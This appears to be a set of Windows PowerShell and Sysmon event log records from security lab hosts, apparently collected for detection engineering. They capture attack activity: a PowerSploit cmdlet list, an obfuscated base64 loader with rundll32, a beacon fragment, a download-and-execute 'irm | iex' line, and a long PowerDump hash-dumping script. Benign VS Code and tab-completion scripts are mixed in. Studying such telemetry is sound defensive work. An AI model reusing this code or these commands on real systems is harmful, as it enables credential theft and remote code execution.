4104 1 5 2 15 0x0 102484 Microsoft-Windows-PowerShell/Operational SLABS-DC.snapattack.labs 1 1 Start-Process PowerShell -Verb RunAs; $malcmdlets = "Add-Persistence", "Find-AVSignature", "Get-GPPAutologon", "Get-GPPPassword", "Get-HttpStatus", "Get-Keystrokes", "Get-SecurityPackages", "Get-TimedScreenshot", "Get-VaultCredential", "Get-VolumeShadowCopy", "Install-SSP", "Invoke-CredentialInjection", "Invoke-DllInjection", "Invoke-Mimikatz", "Invoke-NinjaCopy", "Invoke-Portscan", "Invoke-ReflectivePEInjection", "Invoke-ReverseDnsLookup", "Invoke-Shellcode", "Invoke-TokenManipulation", "Invoke-WmiCommand", "Mount-VolumeShadowCopy", "New-ElevatedPersistenceOption", "New-UserPersistenceOption", "New-VolumeShadowCopy", "Out-CompressedDll", "Out-EncodedCommand", "Out-EncryptedScript", "Out-Minidump", "PowerUp", "PowerView", "Remove-Comments", "Remove-VolumeShadowCopy", "Set-CriticalProcess", "Set-MasterBootRecord" 52364088-befa-46ad-979d-e7918d00bf8b
4104 1 3 2 15 0x0 255446 Microsoft-Windows-PowerShell/Operational arrakis.snapattack.labs 1 1
param($line, $lastWord)
& {
function Write-Members ($sep='.')
{
Invoke-Expression ('$_val=' + $_expression)
$_method = [Management.Automation.PSMemberTypes] `
'Method,CodeMethod,ScriptMethod,ParameterizedProperty'
if ($sep -eq '.')
{
$params = @{view = 'extended','adapted','base'}
}
else
{
$params = @{static=$true}
}
foreach ($_m in ,$_val | Get-Member @params $_pat |
Sort-Object membertype,name)
{
if ($_m.MemberType -band $_method)
{
# Return a method...
$_base + $_expression + $sep + $_m.name + '('
}
else {
# Return a property...
$_base + $_expression + $sep + $_m.name
}
}
}
# If a command name contains any of these chars, it needs to be quoted
$_charsRequiringQuotes = ('`&@''#{}()$,;|<> ' + "`t").ToCharArray()
# If a variable name contains any of these characters it needs to be in braces
$_varsRequiringQuotes = ('-`&@''#{}()$,;|<> .\/' + "`t").ToCharArray()
switch -regex ($lastWord)
{
# Handle property and method expansion rooted at variables...
# e.g. $a.b.
'(^.*)(\$(\w|:|\.)+)\.([*\w]*)$' {
$_base = $matches[1]
$_expression = $matches[2]
$_pat = $matches[4] + '*'
Write-Members
break;
}
# Handle simple property and method expansion on static members...
# e.g. [datetime]::n
'(^.*)(\[(\w|\.|\+)+\])(\:\:|\.){0,1}([*\w]*)$' {
$_base = $matches[1]
$_expression = $matches[2]
$_pat = $matches[5] + '*'
Write-Members $(if (! $matches[4]) {'::'} else {$matches[4]})
break;
}
# Handle complex property and method expansion on static members
# where there are intermediate properties...
# e.g. [datetime]::now.d
'(^.*)(\[(\w|\.|\+)+\](\:\:|\.)(\w+\.)+)([*\w]*)$' {
$_base = $matches[1] # everything before the expression
$_expression = $matches[2].TrimEnd('.') # expression less trailing '.'
$_pat = $matches[6] + '*' # the member to look for...
Write-Members
break;
}
# Handle variable name expansion...
'(^.*\$)([*\w:]+)$' {
$_prefix = $matches[1]
$_varName = $matches[2]
$_colonPos = $_varname.IndexOf(':')
if ($_colonPos -eq -1)
{
$_varName = 'variable:' + $_varName
$_provider = ''
}
else
{
$_provider = $_varname.Substring(0, $_colonPos+1)
}
foreach ($_v in Get-ChildItem ($_varName + '*') | sort Name)
{
$_nameFound = $_v.name
$(if ($_nameFound.IndexOfAny($_varsRequiringQuotes) -eq -1) {'{0}{1}{2}'}
else {'{0}{{{1}{2}}}'}) -f $_prefix, $_provider, $_nameFound
}
break;
}
# Do completion on parameters...
'^-([*\w0-9]*)' {
$_pat = $matches[1] + '*'
# extract the command name from the string
# first split the string into statements and pipeline elements
# This doesn't handle strings however.
$_command = [regex]::Split($line, '[|;=]')[-1]
# Extract the trailing unclosed block e.g. ls | foreach { cp
if ($_command -match '\{([^\{\}]*)$')
{
$_command = $matches[1]
}
# Extract the longest unclosed parenthetical expression...
if ($_command -match '\(([^()]*)$')
{
$_command = $matches[1]
}
# take the first space separated token of the remaining string
# as the command to look up. Trim any leading or trailing spaces
# so you don't get leading empty elements.
$_command = $_command.TrimEnd('-')
$_command,$_arguments = $_command.Trim().Split()
# now get the info object for it, -ArgumentList will force aliases to be resolved
# it also retrieves dynamic parameters
try
{
$_command = @(Get-Command -type 'Alias,Cmdlet,Function,Filter,ExternalScript' `
-Name $_command -ArgumentList $_arguments)[0]
}
catch
{
# see if the command is an alias. If so, resolve it to the real command
if(Test-Path alias:\$_command)
{
$_command = @(Get-Command -Type Alias $_command)[0].Definition
}
# If we were unsuccessful retrieving the command, try again without the parameters
$_command = @(Get-Command -type 'Cmdlet,Function,Filter,ExternalScript' `
-Name $_command)[0]
}
# remove errors generated by the command not being found, and break
if(-not $_command) { $error.RemoveAt(0); break; }
# expand the parameter sets and emit the matching elements
# need to use psbase.Keys in case 'keys' is one of the parameters
# to the cmdlet
foreach ($_n in $_command.Parameters.psbase.Keys)
{
if ($_n -like $_pat) { '-' + $_n }
}
break;
}
# Tab complete against history either # or #
'^#(\w*)' {
$_pattern = $matches[1]
if ($_pattern -match '^[0-9]+$')
{
Get-History -ea SilentlyContinue -Id $_pattern | Foreach { $_.CommandLine }
}
else
{
$_pattern = '*' + $_pattern + '*'
Get-History -Count 32767 | Sort-Object -Descending Id| Foreach { $_.CommandLine } | where { $_ -like $_pattern }
}
break;
}
# try to find a matching command...
default {
# parse the script...
$_tokens = [System.Management.Automation.PSParser]::Tokenize($line,
[ref] $null)
if ($_tokens)
{
$_lastToken = $_tokens[$_tokens.count - 1]
if ($_lastToken.Type -eq 'Command')
{
$_cmd = $_lastToken.Content
# don't look for paths...
if ($_cmd.IndexOfAny('/\:') -eq -1)
{
# handle parsing errors - the last token string should be the last
# string in the line...
if ($lastword.Length -ge $_cmd.Length -and
$lastword.substring($lastword.length-$_cmd.length) -eq $_cmd)
{
$_pat = $_cmd + '*'
$_base = $lastword.substring(0, $lastword.length-$_cmd.length)
# get files in current directory first, then look for commands...
$( try {Resolve-Path -ea SilentlyContinue -Relative $_pat } catch {} ;
try { $ExecutionContext.InvokeCommand.GetCommandName($_pat, $true, $false) |
Sort-Object -Unique } catch {} ) |
# If the command contains non-word characters (space, ) ] ; ) etc.)
# then it needs to be quoted and prefixed with &
ForEach-Object {
if ($_.IndexOfAny($_charsRequiringQuotes) -eq -1) { $_ }
elseif ($_.IndexOf('''') -ge 0) {'& ''{0}''' -f $_.Replace('''','''''') }
else { '& ''{0}''' -f $_ }} |
ForEach-Object {'{0}{1}' -f $_base,$_ }
}
}
}
}
}
}
}
82cdda22-5023-4544-8127-b099c4794e09
4104 1 5 2 15 0x0 2870899 Microsoft-Windows-PowerShell/Operational wks01-vm.lab3.localdomain 1 1 { Find-PathDLLHijack } 152f8789-a90f-46c0-8c12-83ec0d58eaee C:\Users\domuser.LAB3\Desktop\PowerUp.ps1
1 5 4 1 0 0x8000000000000000 10562 Microsoft-Windows-Sysmon/Operational win10-base - 2022-03-16 14:45:21.951 B50C7A1E-F801-6231-100B-000000002400 10236 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 10.0.19041.546 (WinBuild.160101.0800) Windows PowerShell Microsoft® Windows® Operating System Microsoft Corporation PowerShell.EXE powershell -exec bypass ""function bdec($in){$out = [System.Convert]::FromBase64String($in);return [System.Text.Encoding]::UTF8.GetString($out);}function bDec2($szinput){$in = [System.Text.Encoding]::UTF8.GetBytes($szinput);for ($i=0; $i -le $in.count -1; $i++){$in[$i] = $in[$i] - 2;}return [System.Text.Encoding]::UTF8.GetString($in);}function bDd($in){$dec = bdec $in;$temp = bDec2 $dec;return $temp;}$a=get-content "config.txt";$t =bDd $a;&($ShellId[1] + 'ex') $t;"" C:\users\user\Desktop\powgoop\ WIN10-BASE\user B50C7A1E-F5EE-6231-0B03-0D0000000000 0xd030b 2 High MD5=C32CA4ACFCC635EC1EA6ED8A34DF5FAC,SHA256=73A3C4AEF5DE385875339FC2EB7E58A9E8A47B6161BDC6436BF78A763537BE70,IMPHASH=194427A488ED1DD0A91731658B071667 B50C7A1E-F801-6231-0F0B-000000002400 9496 C:\Windows\SysWOW64\rundll32.exe Rundll32.exe C:\users\user\Desktop\powgoop\goopdate.dll,DllRegisterServer WIN10-BASE\user
4104 1 5 2 15 0x0 106710 Microsoft-Windows-PowerShell/Operational MSEDGEWIN10.snapattack.labs 1 1 function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
} 941348bc-a0bc-4eac-8e5a-5d29c6bf7f66 C:\Users\snapattack\Desktop\beacon.ps1
1 5 4 1 0 0x8000000000000000 113242 Microsoft-Windows-Sysmon/Operational Dev-Win10-1 - 2024-06-26 16:44:20.839 501694F9-4564-667C-AC12-000000002D00 8272 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.0.19041.546 (WinBuild.160101.0800) Windows PowerShell Microsoft® Windows® Operating System Microsoft Corporation PowerShell.EXE "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile -EncodedCommand UwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAnAEMAOgBcACcA C:\Windows\system32\ NT AUTHORITY\SYSTEM 501694F9-2DF8-667C-E703-000000000000 0x3e7 0 System MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7 501694F9-4561-667C-AB12-000000002D00 8584 C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{BD07DDB9-1C61-4DCE-9202-A2BA1757CDB2} NT AUTHORITY\SYSTEM
4104 1 5 2 15 0x0 48192 Microsoft-Windows-PowerShell/Operational WIN10-21H1.snapattack.labs 1 1 irm https://get.activated.win | iex fc9acb2d-6ca4-4814-9b2c-fa37a210e3ee
4688 2 0 13312 0 0x8020000000000000 415258 Security MSEDGEWIN10.snapattack.labs S-1-5-21-421648065-3458498710-3574272164-1103 snapattack SNAPATTACK 0x7fae4 0xa0c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe %%1937 0x2588 powershell.exe -ExecutionPolicy Bypass -C "if (! $(test-path -path \"C:\Program Files\SysInternalsSuite\")) { write-host \"[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped.\"; exit 1;}Set-Location -path \"C:\Program Files\SysInternalsSuite\";if (!(test-path \".\readme.ps1\")) { Move-Item .\readme.txt readme.ps1 -Force;}. .\readme.ps1;Invoke-Discovery;" S-1-0-0 - - 0x0 C:\Users\Public\splunkd.exe S-1-16-12288
4104 1 3 2 15 0x0 67653 Microsoft-Windows-PowerShell/Operational EC2AMAZ-NNKUICG 1 2 # Pulled from darkoperator's Posh-SecMod:
# https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
function Invoke-PowerDump
{
<#
.SYNOPSIS
Dumps hashes from the local system. Note: administrative privileges required.
.DESCRIPTION
Generate a command for dumping hashes from a Windows System PowerShell.exe -command
Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM
and execute a hashdump by reading the hashes from the registry.
.EXAMPLE
$enc = Get-PostHashdumpScript
C:\PS>powershell.exe -command $enc
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519:::
HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e:::
Executes the compressed command generated by the function and dumps the windows hashes from the registry.
.NOTES
PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K)
Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx
#>
$sign = @"
using System;
using System.Runtime.InteropServices;
public static class priv
{
[DllImport("shell32.dll")]
public static extern bool IsUserAnAdmin();
}
"@
$adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru
function ElevatePrivs
{
$signature = @"
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const int TOKEN_QUERY = 0x00000008;
public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
public const UInt32 TOKEN_DUPLICATE = 0x0002;
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID);
public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
public const int ANYSIZE_ARRAY = 1;
[StructLayout(LayoutKind.Sequential)]
public struct LUID
{
public UInt32 LowPart;
public UInt32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct LUID_AND_ATTRIBUTES {
public LUID Luid;
public UInt32 Attributes;
}
public struct TOKEN_PRIVILEGES {
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
public LUID_AND_ATTRIBUTES [] Privileges;
}
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool SetThreadToken(
IntPtr PHThread,
IntPtr Token
);
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle,
UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("kernel32.dll", ExactSpelling = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
"@
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
Write-Warning "Run the Command as an Administrator"
Break
}
Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
$adjPriv = [AdjPriv.AdjPriv]
[long]$luid = 0
$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $luid
$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
$retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
[IntPtr]$htoken = [IntPtr]::Zero
$retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
$tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
$retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($retVal)) {
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
Break
}
$process = (Get-Process -Name lsass)
#$process.name
[IntPtr]$hlsasstoken = [IntPtr]::Zero
$retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)
[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
$retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)
$retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
if(-not($retVal)) {
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
}
}
function LoadApi
{
$oldErrorAction = $global:ErrorActionPreference;
$global:ErrorActionPreference = "SilentlyContinue";
$test = [PowerDump.Native];
$global:ErrorActionPreference = $oldErrorAction;
if ($test)
{
# already loaded
return;
}
$code = @"
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;
namespace PowerDump
{
public class Native
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
int hKey,
string subKey,
int ulOptions,
int samDesired,
out int hkResult);
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
extern public static int RegEnumKeyEx(
int hkey,
int index,
StringBuilder lpName,
ref int lpcbName,
int reserved,
StringBuilder lpClass,
ref int lpcbClass,
out long lpftLastWriteTime);
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
extern public static int RegQueryInfoKey(
int hkey,
StringBuilder lpClass,
ref int lpcbClass,
int lpReserved,
out int lpcSubKeys,
out int lpcbMaxSubKeyLen,
out int lpcbMaxClassLen,
out int lpcValues,
out int lpcbMaxValueNameLen,
out int lpcbMaxValueLen,
out int lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern int RegCloseKey(
int hKey);
}
} // end namespace PowerDump
public class Shift {
public static int Right(int x, int count) { return x >> count; }
public static uint Right(uint x, int count) { return x >> count; }
public static long Right(long x, int count) { return x >> count; }
public static ulong Right(ulong x, int count) { return x >> count; }
public static int Left(int x, int count) { return x << count; }
public static uint Left(uint x, int count) { return x << count; }
public static long Left(long x, int count) { return x << count; }
public static ulong Left(ulong x, int count) { return x << count; }
}
"@
$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
$dllName = [PsObject].Assembly.Location
$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
$assemblies = @("System.dll", $dllName)
$compilerParameters.ReferencedAssemblies.AddRange($assemblies)
$compilerParameters.GenerateInMemory = $true
$compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
if($compilerResults.Errors.Count -gt 0) {
$compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
}
}
$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);
function sid_to_key($sid)
{
$s1 = @();
$s1 += [char]($sid -band 0xFF);
$s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
$s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
$s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
$s1 += $s1[0];
$s1 += $s1[1];
$s1 += $s1[2];
$s2 = @();
$s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
$s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
return ,((str_to_key $s1),(str_to_key $s2));
}
function str_to_key($s)
{
$key = @();
$key += [Shift]::Right([int]($s[0]), 1 );
$key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
$key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
$key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
$key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
$key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
$key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
$key += $([int]($s[6]) -band 0x7F);
0..7 | %{
$key[$_] = [Shift]::Left($key[$_], 1);
$key[$_] = $odd_parity[$key[$_]];
}
return ,$key;
}
function NewRC4([byte[]]$key)
{
return new-object Object |
Add-Member NoteProperty key $key -PassThru |
Add-Member NoteProperty S $null -PassThru |
Add-Member ScriptMethod init {
if (-not $this.S)
{
[byte[]]$this.S = 0..255;
0..255 | % -begin{[long]$j=0;}{
$j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
$temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
}
}
} -PassThru |
Add-Member ScriptMethod "encrypt" {
$data = $args[0];
$this.init();
$outbuf = new-object byte[] $($data.Length);
$S2 = $this.S[0..$this.S.Length];
0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
$i = ($i+1) % $S2.Length;
$j = ($j + $S2[$i]) % $S2.Length;
$temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
$a = $data[$_];
$b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
$outbuf[$_] = ($a -bxor $b);
}
return ,$outbuf;
} -PassThru
}
function des_encrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $true)
}
function des_decrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $false)
}
function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
$des = new-object Security.Cryptography.DESCryptoServiceProvider;
$des.Mode = [Security.Cryptography.CipherMode]::ECB;
$des.Padding = [Security.Cryptography.PaddingMode]::None;
$des.Key = $key;
$des.IV = $key;
$transform = $null;
if ($doEncrypt) {$transform = $des.CreateEncryptor();}
else{$transform = $des.CreateDecryptor();}
$result = $transform.TransformFinalBlock($data, 0, $data.Length);
return ,$result;
}
function Get-RegKeyClass([string]$key, [string]$subkey)
{
switch ($Key) {
"HKCR" { $nKey = 0x80000000} #HK Classes Root
"HKCU" { $nKey = 0x80000001} #HK Current User
"HKLM" { $nKey = 0x80000002} #HK Local Machine
"HKU" { $nKey = 0x80000003} #HK Users
"HKCC" { $nKey = 0x80000005} #HK Current Config
default {
throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
}
}
$KEYQUERYVALUE = 0x1;
$KEYREAD = 0x19;
$KEYALLACCESS = 0x3F;
$result = "";
[int]$hkey=0
if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
{
$classVal = New-Object Text.Stringbuilder 1024
[int]$len = 1024
if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
574377f1-34ba-4c02-ab94-90bcbe218966 C:\Users\user\AppData\Local\Temp\PowerDump.ps1
3 5 4 3 0 0x8000000000000000 746096 Microsoft-Windows-Sysmon/Operational Win10Victim - 2021-12-16 16:20:00.964 4545B65A-6735-61BB-3126-000000000D00 7276 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Win10Victim\bob tcp true false 10.0.0.5 Win10Victim.szoi45m50kxuhgtaillgn00qkd.bx.internal.cloudapp.net 54717 - false 10.0.0.6 ubuntu.internal.cloudapp.net 88 kerberos
3 5 4 3 0 0x8000000000000000 8507 Microsoft-Windows-Sysmon/Operational win10-base - 2022-03-04 00:09:37.096 B50C7A1E-58BD-6221-EC0B-000000002E00 416 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WIN10-BASE\user tcp true false 10.0.64.65 win10-base.ec2.internal 63324 - false 185.199.108.133 cdn-185-199-108-133.github.com 443 https
4104 1 5 2 15 0x0 87197 Microsoft-Windows-PowerShell/Operational DC01.snapattack.labs 1 1 # ---------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# ---------------------------------------------------------------------------------------------
# Prevent installing more than once per session
if (Test-Path variable:global:__VSCodeOriginalPrompt) {
return;
}
# Disable shell integration when the language mode is restricted
if ($ExecutionContext.SessionState.LanguageMode -ne "FullLanguage") {
return;
}
$Global:__VSCodeOriginalPrompt = $function:Prompt
$Global:__LastHistoryId = -1
# Store the nonce in script scope and unset the global
$Nonce = $env:VSCODE_NONCE
$env:VSCODE_NONCE = $null
$isStable = $env:VSCODE_STABLE
$env:VSCODE_STABLE = $null
$osVersion = [System.Environment]::OSVersion.Version
$isWindows10 = $IsWindows -and $osVersion.Major -eq 10 -and $osVersion.Minor -eq 0 -and $osVersion.Build -lt 22000
if ($env:VSCODE_ENV_REPLACE) {
$Split = $env:VSCODE_ENV_REPLACE.Split(":")
foreach ($Item in $Split) {
$Inner = $Item.Split('=', 2)
[Environment]::SetEnvironmentVariable($Inner[0], $Inner[1].Replace('\x3a', ':'))
}
$env:VSCODE_ENV_REPLACE = $null
}
if ($env:VSCODE_ENV_PREPEND) {
$Split = $env:VSCODE_ENV_PREPEND.Split(":")
foreach ($Item in $Split) {
$Inner = $Item.Split('=', 2)
[Environment]::SetEnvironmentVariable($Inner[0], $Inner[1].Replace('\x3a', ':') + [Environment]::GetEnvironmentVariable($Inner[0]))
}
$env:VSCODE_ENV_PREPEND = $null
}
if ($env:VSCODE_ENV_APPEND) {
$Split = $env:VSCODE_ENV_APPEND.Split(":")
foreach ($Item in $Split) {
$Inner = $Item.Split('=', 2)
[Environment]::SetEnvironmentVariable($Inner[0], [Environment]::GetEnvironmentVariable($Inner[0]) + $Inner[1].Replace('\x3a', ':'))
}
$env:VSCODE_ENV_APPEND = $null
}
function Global:__VSCode-Escape-Value([string]$value) {
# NOTE: In PowerShell v6.1+, this can be written `$value -replace '…', { … }` instead of `[regex]::Replace`.
# Replace any non-alphanumeric characters.
[regex]::Replace($value, "[$([char]0x00)-$([char]0x1f)\\\n;]", { param($match)
# Encode the (ascii) matches as `\x`
-Join (
[System.Text.Encoding]::UTF8.GetBytes($match.Value) | ForEach-Object { '\x{0:x2}' -f $_ }
)
})
}
function Global:Prompt() {
$FakeCode = [int]!$global:?
# NOTE: We disable strict mode for the scope of this function because it unhelpfully throws an
# error when $LastHistoryEntry is null, and is not otherwise useful.
Set-StrictMode -Off
$LastHistoryEntry = Get-History -Count 1
$Result = ""
# Skip finishing the command if the first command has not yet started
if ($Global:__LastHistoryId -ne -1) {
if ($LastHistoryEntry.Id -eq $Global:__LastHistoryId) {
# Don't provide a command line or exit code if there was no history entry (eg. ctrl+c, enter on no command)
$Result += "$([char]0x1b)]633;D`a"
}
else {
# Command finished exit code
# OSC 633 ; D [; ] ST
$Result += "$([char]0x1b)]633;D;$FakeCode`a"
}
}
# Prompt started
# OSC 633 ; A ST
$Result += "$([char]0x1b)]633;A`a"
